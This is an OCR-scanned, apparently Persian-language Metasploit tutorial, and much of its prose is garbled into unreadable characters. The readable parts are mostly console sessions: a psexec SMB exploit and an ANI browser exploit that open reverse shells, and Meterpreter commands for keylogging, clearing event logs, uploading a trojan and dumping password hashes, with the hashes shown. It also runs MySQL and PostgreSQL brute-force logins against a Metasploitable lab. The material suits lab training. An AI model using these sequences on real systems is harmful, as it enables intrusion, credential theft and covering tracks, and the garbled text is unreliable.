Lo 1, calexe i asky oK b oS adlsl e85 )b a4 ooles 5,5 X ol 4 oles o g pogie ;5 wiied ool

: Stagers
S e B 8 g (uisS o) SO SO SO




: Stages

g oo dglils La stagers lawgi a5 aiie b oglo (32) sliz! L
5 meterpreter, vnc injection :

: l» payload ¢l

0300 o 15 0)lge 0,b,0 a4 L (Po o Cow ol o)l .‘A).j‘so‘al.; G’L..»! a4

Inline

Staged

Meterpreter

PassiveX

NoNX

Ord

IPv6

Reflective DLL injection

:Active Exploits

e b Sz (S ile (o0 <50 (5 e Cude a4y oS Loy b
Das Olg i Tole) ax b  Kived a5 po opl (Jg dwop 4l a U aiS oo o ol a5 0 (o

ey Sl 4y 5 Jle yo

msf > use exploit/windows/smb/psexec

msf exploit(psexec) > set RHOST 192.168.1.100
RHOST =>192.168.1.100

msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp

msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5

msf exploit(psexec) > set LPORT 4444

LPORT => 4444

msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim

msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t

msf exploit(psexec) > exploit

[*] Connecting to the server...

[*] Started reverse handler

[*] Authenticating as user 'victim'...

[*] Uploading payload...




[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl]

[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...

[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...

[*] Closing service handle...

[*] Opening service...

..[*] Command shell session 1 opened (192.168.1.5:4444 ->192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system3>

: passive exploit
s FTP, Web Browser Jie oS oo 35 08 CaodS (g9, dion

SSESSIONS = vy 1 Cawd By ym0 DalS™ a5

owdige 5l ool b by, cpl j0 Wb e bl es Bl Lo LB L ST (g, S5 SIS SLS S Sl b
web app side attack cou Ko oS G3le ool |y 0953 34 Jos SIS sl SL,3 05 Jo5 g sleis

PAYLOAD => windows/shell/reverse_tcp

msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.101
LHOST =>192.168.1.101

msf exploit(ani_loadimage_chunksize) > set LPORT 4444

LPORT => 4444

msf exploit(ani_loadimage_chunksize) > exploit

[*] Exploit running as background job.

46[*] Started reverse handler

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://192.168.1.101:8080/
[*] Server started.

msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize

75




[*] Sending HTML page to 192.168.1.104:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAnilcon() Chunk Size Stack Overflow (HTTP) to

192.168.1.104:1077...[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.101:4444 ->192.168.1.104:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...

-exploitation gl ,!3l yuo

& BackTrack QG Information Gathering

,E Graphics " Vulnerability Assessment es default pass.txt

® intemet # Exploitation Tools

B Office *\. Privilege Escalation

B other > W Maintaining 5 atabas 5
¥ | Sound & Video T Reverse Engineering

0 System Tools ‘L' RFID Tools - Social Engineering Tools

B wine €&k Stress Testing » 7T Physical Exploitation

[ o .
i __ > Forensics @b, Open Source Exploitation
8.10.111:5433& S

Network Exploitation Tools :

Cisco Attacks
Fast-Track
Metasploit Framework

SAP Exploitation

Web Exploitation Tools :

oscanner
fimap
asp-auditoy
sslstrip
websploit




Database Exploitation Tools :

MSSQL Exploitation Tools
MySQL Exploitation Tools
Oracle Exploitation Tools

Wireless Exploitation Tools :

BlueTooth Exploitation
GSM Exploitation
WLAN Exploitation

Social Engineering Tools :

BeEF XSS Framework
HoneyPots
Social Engineering Toolkit

Physical Exploitation :

Arduino
Kautilya
u3-pwn
videoJAK

Open Source Exploitation :

Exploit-DB
Online Archives

:Installing and configuring Metasploitable

(2l 4 Coghwl bo cuai ) Jol (9,
Fowal Sl 5l 0 )90 e JBlos
aliyy Casyl sl ciyl 4 oog Jog (Al

(virtual-pc) sile pimams (53, p s sl ey slas 8-10 GB (o
WinZip L winrar | 7zip  Je )80 o5 osls (@

http://sourceforge.net/projects/metasploitable/files/

165 o G sl ()




u Create Mew Virtual Machine _

Welcome to the New Virtual Machine Wizard!

This wizard will guide you through the steps that are necessary to create a new virtual machine for VirtualBox.

Use the Next button to go to the next page of the wizard and the Back button to return to the previous page. You
can also press Cancel if you want to cancel the execution of this wizard.

Mext | | Cancel

il s [y Sl g ol opigs (F

@ Create Mew Virtual Machine h _

VM Name and OS Type

Enter a name for the new virtual machine and select the type of the guest operating system you plan to install onto
the virtual machine.

The name of the virtual machine usually indicates its software and hardware configuration. It will be used by all
VirtualBox components to identify your virtual machine.

MName

Metasploitable 2

05 Type

Operating System: |Linux

ersion: |U|3unb_|

Mext ‘ [ Cancel




B33l ey ol sl 5 0590 RAME Gl (0

<l 512MB - J8lo>

(8- |
@ Create Mew Yirtual Machine

Memory

Select the amount of base memory (RAM) in megabytes to be allocated to the virtual machine.

The recommended base memaory size is 512 MB,

Base Memory Size

U

3192 MB

Mext ] [ Cancel

aEe———l |

-
9? Choase a virtual hard disk ﬁl_e 4

@Og <« VirtualBox » VM » Metasploitable2-Linux

Organize » Mew folder

& Downloads - Marne
=l Recent Places :
- | %@ Metasploitablemdk
= Libraries

j{! Documents

& Music

= Pictures

B Videos

‘M Computer
&, Local Disk (C3)
= DVD/CD-RW Drin

—a Mew Volume (E:)

- 4 [a

File name: Metasploitablevmdk

90,5 dglils as” Ll bl (7

Date modified Type

B/25/2012 6:53 PM Virtual Machine Di...

» | All hard disk images (“vmdk = ~|

[ Open J l Cancel |

|

h". —— s aam




035 Jae 5 U5 Jio (Y

@ Create Mew Virtual Machine .—

- —_—

Virtual Hard Disk

If you wish you can now add a start-up disk to the new machine. You can either create a new virtual disk or select

one from the list ar from another location using the folder icon.

If you need a more complex virtual disk setup you can skip this step and make the changes to the machine settings

once the machine is created.
The recommended size of the start-up disk is 8.00 GB.
| Start-up Disk

Create new hard disk

@ Use existing hard disk

|Metasplnitable.vmdk (Mormal, .00 GE)

Mext

| [ Cancel

.cre

ate (59, Sl culed 5o (

@ Create Mew Virtual Machine .-

[

.

Summary

You are going to create a new virtual machine with the following parameters:

Mame: Metasploitable 2

05 Type: Ubuntu

Base Memory: 512 MB

Start-up Disk: Metasploitable. vmdk (Mormal, &.00 GE)

If the above is correct press the Create button. Once you press it, a new virtual machine will be created.

Mote that you can alter these and all other setting of the created virtual machine at any time using the Settings

dialog accessible through the menu of the main window.

Create

| | Cancel

1ol start o ol (4
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| S@ Oracle VM VirtualBox Manager
0 File FAachin= =]

Cantos Test Sarwver
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Windowws8 Praewiew
@ Fowered OffF
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G Powered OffF
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pdate
msfupdate

ng to update the Metasploit Framewr

alidating server certificate for 'hitps://www.metasploi
The certificate is not issued by a trusted author se t
fingerprint to validate the certificate manually!

t.com:
he

Hostname: www.metasploit.com
Valid: from Fri, 65 Apr 2813 66:86:868 GMT until Sun, 85 Apr 281
Issuer: Terms of use at hitps vl VET151Q frpa (c)e6
Verisign, Inc., US
- Fingerprint: ec:fc:40:64:26:8b:58:84:27:5b:d5:aa:a23:d1:168:27:el:8d:c3
arily or accept (p)

Ele Edit E-Iei\‘ Terminal Help nrect All (= Refresh o Preferences v

not authenticate tworks below:

1% WPA2 Channel 1
tically connect to this network
[t Properties

% WPA Channel 11

[ MSF must be updat ia GitHub or a more recent msfupdate. See http ically connect to this network

Properties

e updat ia GitHub or a ms fupd
WPA  Channel 11

tically connect to this netwark

=[ MSF mi e updated via Gith r a more sfupdate. See http Properties

at 55% (IP: 192.168.1.3)

not authenti

Wicd Ni

apt-get update




sudo apt-get install git-core -y
sudo apt-get install curl -y
apt-get install libpg-de

sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zliblg
zliblg-dev libssl-dev libyaml-dev libsglite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev
libgdbm-dev ncurses-dev automake libtool bison subversion pkg-config libffi-dev

sudo apt-get -y install \

build-essential zlib1g zlib1g-dev \

libxml|2 libxml2-dev libxslt-dev locate \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget postgresql \
postgresql-contrib libpg-dev \

libaprl libaprutill libsvnl \

libpcap-dev

DS 05li1s g Syge w0 |y Lo JB wul el jo (Y

DS 0l 1) T 0 lgo o B oy )lagSs cawlin ol 50 05bils 5l am |, goglils 1 oyl aisS

-2 35113 200MB Wl Jslos (

rm -rf SHOME/metasploit

git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit

git clone git://github.com/sstephenson/rbenv.git ~/.rbenv




stephenson/rbenv.g

echo 'export PATH="SHOME/.rbenv/bin:SPATH"' >> ~/.profile

echo 'eval "$(rbenv init -)"' >> ~/.profile

| @2 alok@ubuntu:~

~ echo 'eval "$(rbenv init -)"' >> =f.zshrcl




cd ~/.rbenv/

mkdir plugins

cd ~/.rbenv/plugins

git clone git://github.com/sstephenson/ruby-build.git

03,5 wai o)l (g9, ST Jadsin JSin jlao oS Cul (Sae VMWare (gq, .0uS Cds g, a4 b 51 1SS

S g 6l jo b awsS selils ruby cole 1) T ales co leis . moyls ruby 1.3 4 5ls e (Y

gi«iblilo \- :LJ§|~L=- - gi«iQLSioY . )iifths- :\.ﬂ.‘"ﬂrqzs-

B SBLonl
rbenv install 1.9.3-p385
S gl p g Colu o cual ST :SS
www.rubygems.org

rbenv global 1.9.3-p385
rbenv rehash
ruby —v

M2 rbenvinstall 1.9.3-p385

--version
version-fil -
version-fi ¢
version-f (e-. -i
version-r

version- rigin

Tes

~ rbenv install 1.9.3-p385
Downloading yaml-0.1.4.tar.gz...
-> http://dqw8nmjcgpjn7.cloudfront.net/36c852831d02cf90508c29852361d01b
Installing yaml-08.1.4...
Installed yaml-8.1.4 to fhome/alok/.rbenv/versions/1.9.3-p385

Downloading ruby-1.9.3-p385.tar.gz...
-> http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p385.tar.gz




08y Jsb oS ol Sas Ceond (gl (A

gem install bundler
rails -v

gem install rails
rails -v

D2 s MST3 b s 1y ] ool sl o0 3gkils metasploit b L Lei root ;s a5 5,0048 (4

N9y e & (Ve
cd /opt/metasploit
Sl slil replace Jos apo ojlal 5 auS S Jxdmsf3 6o, 1) ;08 s (V)
ol S STy g ek (o, olg 1) e dls e jeiws AT Jliw e 0 (VY
(cd /opt/metasploit/msf3):
gem install bundle && bundle install
PRy pged ddxe g 0S5l ez Sl S (VY
gem install bundle && bundle install
Sygo 4 g Ngp p) Colw 4 wiS selily cudlgs |y gem 31 .cwl cual b o s e gem VY 9 V) >l o
A ceai |y ol g oghils (S

www.rubygems.org

S O)ygo 4 BEM Cua sl
gem install name-gem
;s
gem install nikoti_girl_1
W9y 2 e 4 (VF
cd /opt/metasploit/msf3

:)9.‘;..»0 (\&

bundle install




gem update

Applications Pl
root@bt: ~

File Edit ¥View Terminal Help

Using metaclass (©.0.1)

Using mocha (8.13.3)

Using bourne (1.4.0)

Using database cleaner (©.9.1)
Using diff-1lcs (1.2.2)

Using factory 1 (4.2.0)

Using json (1.7.7)

Using pg (8.15.1)

Using metasploit data models (8.16.1)
Using msgpack (0.5.4)

Using network interface (8.8.1)
Using nokogiri (1.5.9)

Using packetfu (1.1.8)

Using pcaprub (©.11.3)

Using redcarpet (2.2.2)

Using robots (©.18.1)

Using rspec-core (2.13.1)

Using rspec-expectations (2.13.8)
Using rspec-mocks (2.13.0)
Using rspec (2.13.0)

Using shoulda-matchers (1.5.2)
Using simplecov-html (©.5.3)
Using simplecov (8.5.4)
Using timecop (©0.6.1)

Using yard (8.8.5.2)

Using bundler (1.1.2)

T~ D

ali mp5

azimzadeh

Msfupdate




Applications Places System (1 1) B4 SunAug 4,1
root@bt: ~

File Edit View Terminal Help
:~# msfupdate

*#] Attempting to update the Metasploit Framework...

EAD is now at 48666T1 Land #2145, consistent datastore options

lready on 'master’

four branch is ahead of ‘origin/master' by 19175 commits.

emote: Counting objects: 3891, done.

emote: Compressing objects: 188% (1916/1916), done.

emote: Total 2783 (delta 1989}, reused 1788 (delta 852)

eceiving objects: 100% (2783/2783), 763.17 KiB | 4 KiB/s, done.

Resolving deltas: 16 (19689/1989), completed with 166 local objects.

rom git://github.com/rapid7/metasploit-framework
48666T1..10e9b97 master -> upstream/master

# [new branch] staging -> upstream/staging
70T8405..1b2c539 unstable -> upstream/unstable

* [new tag] 2013072401 -> 2013072401

pdating 48666T1..10e9b97

ast-forward

.../x86/src/block/block reverse https proxy.asm

lib/msf/base/simple/framework/module paths.rb

lib/msf/core/auxiliary/auth _brute.rb

lib/msf/core/db.rb

lib/msf/core/exploit/exe.rb

lib/msf/core/exploit/http/server.rb

lib/msf/core/handler/reverse http.rb

lib/msf/core/handler/reverse https proxy.rb

lib/msf/core/module manager/loading.rb

5 y5ws L metasploit ¢l >y (VA

./msfconsole

./msfconsole -L
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VAV © og Ou 2 T J L 1
Killing Inlerrupl handler
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1143 exploits -
10 payloads
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msf > msfconsole -v

[#] exec: mslconsule -v

Framework Version: 4.8.€-dev

msf > []

=4

mp53.png

codl pl sl a5 jhiw dels

639 auh]_iary - 181 pos‘t
- 30 encoders

® EBuddy List

- 8 nops

Puwered by

- ]

P& ET - File Browser

:Mastering Armitage — the graphical management tool for Metasploit

e a5 JLS U ol asle ool Gl 18y cplaad Ik ojlg armitage oL 4 5,158 o5 L Meta o ases

20 8yl ok slaslpl 4 col b pl Ll 4SS 05 ol 8 sius (command line) (s giws e LS aie
OSas armitage b Ll ;5 oo (o ywd Cuddso b g 0SS o (g5l ooly meta L ) ales> SO Lol IS o
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Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit
Framework | armitage

il s 50 ) 5o b

armitage

ation Tools

connect g5, SIS

% Connect...

127.0.0:1

25553

msf

tast

[- Connect J | Help |

gy p) Cole 4 S ible & ygee o

http://www.fastandeasyhacking.com/start
http://www.fastandeasyhacking.com

e

A Metasploit RFC server is not running or
not accepting connections yet. Would you
like me to start Metasploit's RPC server
for you?

lﬂc-‘]lxesl




tsl ()5 Az gl Gisu e asil b Lk o o)y 5l o

* Armitage
Armitage Wiew Hosts Attacks Workspaces Help
> (& auxiliary
> (& exploit
» (& payload
» (@ post

A.

P

Console X

metasploit v4.2.0-release [core:4.2 api:1.0]
805 exploits - 450 auxiliary - 135 post

246 payloads - 27 encoders - 8 nops

svn rl148e5 updated 177 days ago (2012.02.23)

Warning: This copy of the Metasploit Framework was last updated 177 days ago.
We recommend that you update the framework at least every other day.

For information on updating yourj.copy of Metasploit, please see:
https: //community.rapid7.compfdocs/DOC- 1306

Lo yai 090 sl <5 ioleiB
mterpreter console-session metasploit Jis o0 oo plxl 1) Hlosgs Lol slo )5 Lo cand ol j0:C

:Mastering the Metasploit Console (MSFCONSOLE)

console e ;o ,b ool bl Coghonl Lo 13381 0 5 L IS )1 a5 0,10 0939 ;Koo g, @rmitage b IS g, 5l o

e ol plxl g5 (o o0l sl )5 laes () jo
el s o e (]
Lo ads> co pas (o

metasploit sl g5l Sails (o




msfconsole

cd /opt/metasploit/msf3

msf> search linux

il 5 IS8 a5 J>1 e

o ghallis QAAT YU lp e Jloo s )0 13 Hgkws )

199 )J)Me.u&l; By vevR UM ‘).>‘ O y90 o A5

S 1=l 1, msfeconsole [jgiws

s |y (e iz ad 0y 5l o

metasploit >l &ljgiws 5l g paize lxusgs Y

LB syl ) Sl jgiws b5 K65 chelp

ceesS SlS 1y T g S ooliinl Jgile G 5l puilgin Lo ogiiue el :USE

YU o oals Gl Jgsle 4 a5 L Option (o 5 o dais iset
L Jsske 0,5 |,> 2 exploit
.non-exploit module < 0,5 1,>!:run

c g g U.A.mf :search

(JolS b ay) Lo 31 ol )5 exit

ol S5 T o o5 le Jsilo 50 sy 1 Jlte S




Disclosure™Date Rank

normal

normal

normal

osfiwifi/netgear™mas2l rates normal
ireless Driver-ong Rate

1/ normal

normal

normal

aslaunch : good
Jj)Lo oolawl 050

use auxiliary/analyzse/jtr_linux

Db oo oolazwl Linux password cracker ¢l y Jgsle ol 5

use auxiliary/analyze/jon, 1isuax
auxilialy ) = shaw loptions

show options

Ded oo b b sly Jgsle (b caline Slowdass e

msf auxilidry( ) B shaw loptions

Hodule options (a

X

run, doc)




TR IFS e
set JOHN_PATH /pentest/passwords/john
Sg oo oolainl 0,8 4y pamie Jeile 0,5 adlsl gl
PRy aged Sol )
exploit

msf auxiliary( = ewplolt

Seeding wordlist with DB schema info... ©® words added
3 ing with MSSQL Instance Names....0 words added
: ng with hostnames....1l words added
eeding with found credentials....6 words added
eeding with cracked passwords from John....0 words added
Seeding with default John wordlist...88395 words added
De—duﬁing the wordlist....
Wordlist Seeded with 88399 words
Auxiliary module execution completed

" L
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S eolazwl payload G 5l b i casls S 51 (58,5 cwyiwd gl Lo 1 ) ke AUST
DS adlsl 1) Ll s jse payload ulgie st jsiwo b 1 Y o 4SS
:Mastering the Metasploit CLI (MSFCLI)

Liuly & Jie MSFCLI o ls (interface ) lawly G @ 5Ls aao Lis 045 )0 O Slas g addog asiyl (gl L
wax sl Coghns] il g Slly 50 Sgaie Cgmime Lo sl (293 (Jawly ol

S Ty Sl e L Lot e o S

Lol 5 oduzm b g Sl WS oS msfeonsole 4 e ol o Sles ¥ aisG

MSFCLI &l s

:)53*».)

msfcli

ool MSFCLI 4 Laie a5 aos 0 1,8 (55 Loy Lol jo 1) o iws ;o sl CoglnST 5l o] oS




msfcli —=h

|IID’ Ev
HTlpTl

: /pen t st/exploits# msfcll
[*] Pleas

e walt while we load the module tree..

options® for This module
for this auxilia odule

’1UTlHH of the selected module

lab1H opt
ilable pay
 information a
 available targets for this exploit module

/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas A

os*u ﬁjl&a L Lstf LB*SQ gaLu):> G puua&‘ds-‘ A ﬁyb ):>‘ )Q

. This will be used rather than a random
sk. This is used to decide iffen address is

ges dufingga Sean

WPFogressPercent

": The interval in percent that progr should be shown

.—blf cookie for UDP probe




/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas S

= (BSD)

Required

BATCHSIZE
INTERFACE
PORTS
RHOSTS
SNAPLEN
THREADS
TIMEOUT

filtered TCP services using a raw "XMas" scan; this
ng the FIN, PSH and URG

/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas O

cowe [y T o 15 s exploit opl sl 45Ty sle 0ptions b s ,S eolatwl O 51 51 5o

: sploit/
[*¥] Please wgit while we load*the module tree...

Name Current Setting Reguired Destription

BATCHSIZE

INTERFACE

PORTS - ] yes Ports

RHOSTS . The targe

SNAPLEN The number

THREADS The number h
TIMEOUT yes The reply read timeout in milliseconds




/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas E

oS oo ) leses CuslnSTE L

:Mastering Meterpreter

Olygiws 9590 50 Lriol jo awws plowl g s Glime 4 az g L) olo)l5 b <86 51 85 s 5l Las
Sl poles  rosl

SIRCUTE

S oo S |y s e 45T Sl g sl thelp

0,5 b msf e 4 5 0sS Laas 1) oalls sloul session e s4i oo cels sbackground
b8 e 51 18 55lls .download

o j9ding (5 sl Lads ishell

codal s 4y sla seSSION (po 3,5 g g SESSION -

odds 033 sla allS” ayo3e tkeyscan_start

o 003 sla wldS s tkeyscan_dump

LadsS aso;e wadys :keyscan_stop

(S s 59 31 b S el

Ll J o sl angy auo ipS

(S a5 odal 3925 4 slalOg 33> clearav
FOOY o los b dgy St kill 6353

msf exploit| ) > exploit

- e double handler
ted the first lekient=eonpeetions. .

Command: echo
Writing to socke
¥] Writing to socke

from st

B 1s input...
Command shell session 1 opened (192.168.10.109:4444 -> 192.168.10.111:35541) at 2012-08-28 81




:back jgws )
».\.n))f e c\.Jﬁ‘ L )Lols a.»o; ol.u...u‘ ‘5!1.‘> ;‘
cJbe
msf auxiliary(ms09_001_write) > back

msf >

:check ,giws .Y

e by ol 35290 0,8 L] i U oS (oo o0lizid @XPIOIt clr & S 5l ol alosil ) Slondass asiyl 5l ass Lo

msf exploit(ms04_045_wins) > show options
Name Current Setting Required Description

RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:

0 Windows 2000 English
msf exploit(ms04_045 wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

23,58 Jo:d (Gl 9,50 &8 ,0) Lo el 5 45 iy (o0

:connect jgws Y
&S oo Jos telnet g netcat ai

msf > connect 192.168.1.1 23

[*] Connected to 192.168.1.1:23

yyyyyy!yaya

DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

et o0 ol oS bl LYl

msf > connect -s www.metasploit.com:443
[*] Connected to www.metasploit.com:443
GET /HTTP/1.0

HTTP/1.1 302 Found

Date: Sat, 25 Jul 2009 05:03:42 GMT




Server: Apache/2.2.11
Location: http://www.metasploit.org/

:rungexploit giws  .f

Sl e FUN 80,5 solazwl auxiliary module, G 51 314! 61y g exploitgiws 5 o ghonST gl>! gl y

msf auxiliary(ms09_001_write) > run

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue

datalenlow=55535 dataoffset=65535 fillersize=72
rescue

datalenlow=45535 dataoffset=65535 fillersize=72
rescue

datalenlow=35535 dataoffset=65535 fillersize=72
rescue

datalenlow=25535 dataoffset=65535 fillersize=72
rescue

35

...Snip...

. irb JY Ve A

c 9 sl gl Lo sl o (SCul oiiles co Lo jgiws ol b
et o2 Jle a5 framework L LLs | ol

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

>> Framework::Version
=>"3.3-dev"

>> framework.modules.keys.length
=>744

:jobs jgiws F

ey b CaesS Tl Jymsf o cunl Ll s 10 a5 s o 4 ool dils




.Moso‘) LmJObfaLuwMJ'l

:|Oad )9.‘;..»0
caod oo bo a1y s Copglinl Lo 5 asls o as Sla 5
msf > load

Usage: load [var=val var =val ...]
var=val

s o0 |y 5 090 I cval (ol

msf > load pcap_log
[*] Successfully loaded plugin: pcap_log

:unload jsiws A
ST oo SL)oad o9 sla (S

msf > load pcap_log
[*] Successfully loaded plugin: pcap_log

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.

route ,giwe A

‘s o |, route -h c meterpreter ;s

add [subnet] [netmask] [gateway]

delete [subnet] [netmask] [gateway]

list

I (o yasd s SO 0 Lo (89 T dlas ol oS oolaiul pivoting sl ales> )0 puilyy oo Hgiwd (ol
oS a5 aSes 1S (gl s 4y 4 0ils o 0] Gk 5l w2058

msf exploit(ms08_067_netapi) > route

Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.




msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 2
msf exploit(ms08_067_netapi) > route print
Active Routing Table

Subnet Netmask Gateway

192.168.1.0 255.255.255.0 Session 2

author and licensing information
Vulnerability (ie: CVE, BID, etc)

msf > info dos/windows/smb/ms09_001_write

Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890

License: Metasploit Framework License (BSD)

Provided by:

j.v.vallejo

: set /unset &l,giws

Do oo oolaiul O jgo d> 4y (285 e Payload cund o e cuns zmoly S0

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST =>192.168.1.1

msf auxiliary(ms09_001_write) > show options

Module options:

Name Current Setting Required Description

RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port

Unset:

msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf > set THREADS 50




THREADS => 50
msf > set

RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS

Unsetting THREADS...
msf > unset all

Flushing datastore...

msf > set

No entries in data store.

:5essions jgiws Y

o = 4 > g shells s VNC 5 s meterpreter o bo oo 5 0uiS Cnd Lo a0 0 05l

couS oo 00liiusl SESSIONS -1 [5iwd 3l g ] (oo (e 0 [>l Coibgn b Lo o glST By
tJbe

msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

:search jgiws )Y
ez e ln g

msf > search ms09-001

[*] Searching loaded modules for pattern 'ms09-001'...
40

Auxiliary




Name Description

dos/windows/smb/ms09_001_write Microsoft SRV.SYS WriteAndX Invalid DataOffset

:show jsiws V¥
.y yexploit gauxiliary Jie Lo ,la5 5,50 sl atws 0,5 Cand 9 a0

msf > show auxiliary
Auxiliary

admin/backupexec/dump Veritas Backup Exec Windows Remote File Access
admin/backupexec/registry Veritas Backup Exec Server Registry Access
admin/cisco/ios_http_auth_bypass Cisco I0S HTTP Unauthorized Administrative
Access

...Snip...

msf > show exploits 4 show encoders

msf > show payloads 4 show nops

show options

show advanced

show targets
;PS5 N0
LS gy 2 oy sl avg p Gas

meterpreter > ps




:migrate giws N

oS (0 g u030) SY | aes oo slzd notpad o Jb,8 a5 1) ole aldS a5 les e Do

S lag 1y notpad avg p Lol B oS soleswl Ps jgiws 5l aub b
Do

pid=1540
migrate to 1540

: |S)9;Mo .\V
Ned SO el sl BB e aso
meterpreter > |s
:download ,giws VA
f“HStSQ“)?L‘O J)L! 69))‘ ‘) rv-')bj-b-'M“Sdf—"B"MM%‘s

meterpreter > download c:\\boot.ini[*] downloading: c:\boot.ini -> c:\boot.ini[*] : c:\boot.ini ->
c:\boot.ini/boot.ini

:upload ,gws )4
(o 0 R s yo |y evil-trojan L
meterpreter > upload evil_trojan.exe c:\\windows\\system32
:ipconfig ,giws Yo
dOlS i ol ped 4y EF U Al OIS cndd oo
:execute jsiwo .Y
S i (59, COMMaANd 0,5 1>
execute -f cmd.exe -i -H
:hashdump jsiu0 .YY
Dgd oo oalaiwl gb,8 (user account) g 5 slas g lp T Cann Bgyme 0
meterpreter > run post/windows/gather/hashdump([*]
Obtaining the user list and keys...[*]
Decrypting user keys...[*]

Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b :1891f4775f676d4d10c09c1




225a5c0a3:::

dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbhda el3ed5abd30ac94ddeb3c
f52d:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6¢cfe 0d16ae931b73c59d7e0c
089c0:::

:Metasploitable MySQL

Sygo a1y 0,8 alax> MYSQAL sl uolos 4y meta b o)l o 435> 45 metasploit jo g0, )5 Jlo S

PR (50 T paiste
58 B8 sle 5l i

&6 o] (&l
metasploit !>l (o

oo jgus 40,5 S g yols attack sl word-list (o

).:) )93.,..:0 (\

msfconsole

5 dosle g (F
search MySQL

Disclosures=iate

normal
normal
2006-11-681 normat
normal
2072-86-09 normal
Rormal
normal
normal
normal
normal

getname 2010-01-25




use auxiliary/scanner/mysql/mysql_login

use auxiliary/sc
auxiliafyi

show options
nsf  auxiliary(

le options (auxiliar anner/mys

Name rrent J'-‘TTlﬂ':]

BLANK PASSWORDS  true
BRUTEFORCE SPEED 5
PASSWORD
PASS FILE
RHOSTS
RPORT
STOP ON SUCCESS
THREADS
USERNAME
USERPASS FILE
, one pair per line

ACE
A3a

auxiliary(

set RHOSTS 192.168.10.111

set user_file /root/Desktop/usernames.txt

set pass_file /root/Desktop/passwords.txt

annwlum:uql.wwlq1

) > show options

Required

18,590 8 gm0 S5 51, word-list-password

55y axman brute-force lyp pj Josibe 5l eslaul (¥

login

L_login):

Description
ords for all users
ow fast to bruteforce, /Trom @ fo§
fisspenifde passwopd to authenticate with
Filel coptaining ‘passwordsy~ane\per line
ange=pr ,CIDR identifier

'.1.| works for a host

86 oyol 40,5 edais (0

b, S S slp word-list-user ;| oolazul (¢

)‘ oolazw! (VY




v ] > set RHC 192.168.10.111
2.168.168.111
( ) = set user file /root/Desktop/usernames.txt

e /root/Desktop/passwords. txt

)J) )93.‘.0-) (/\
exploit
S5 5,50 PasSWOrd g user as Coulize (pdy (pl S o sdalice S5y g + SO S S8 ) S 4 A

el 00l Tog Lo

#

B Sk 313
' with passwerd: "}

I ¥ W

¥

b el e e e e e e e e
- [Ta)
0 3

[
[
[
[
[
[
[!
|
[
[
[
[
|

I

[ e ™ S S " i i W el S

=
[

:Metasploitable Postgresql
s o0 Hliwsd Lo gl 1) e 00,5 poss a5 Slo Ceowd Laile oo (Metasploit MySQL ) L8 cwand oo Loe

i Olygiws
set RHOSTS 192.168.10.111
set user_file /opt/metasploit/msf3/data/wordlists/postgres_default_user.txt
set pass_file /opt/metasploit/msf3/data/wordlists/postgres_default_user.txt

exploit




> search postgresqgl

Matching Modules

Disclosure Date Rank

auxiliany/admin/postgres/postgres readfile pogmal
rver Generic Query

auxiliary/admin/postgres/postgres sql normal
rver Generic Query

auxiliary/scanner/postgres/postgres login normal
gin Utility

auxiliary/scanner/postgres/postgres version normal
rsion Probe

exploit/windows/postgres/postgres payload 2009-84-10 00:00:00 UTC excellent
r Microsoft Windows Payload Execution

) > show optiens
Module options (auxiliary/scanner/postgres/postgres login):

Name Current Setting
Description

BLANK PASSWORDS  true
Try blank passwords for all users
BRUTEFORCE SPEED 5
How fast to bruteforce, from @ to 5
DATABASE templatel
The database to authenticate against
PASSWORD
A specificdpassword to| authemticate With
PASS FILE Jopt¥metasploit/ms F3/data/wordlistsypostyfes defauld, pass jixt
File containing passwords, one per line
RETURN ROWSET true
Set to true to see query result sets
RHOSTS
The target address range or CIDR identifier
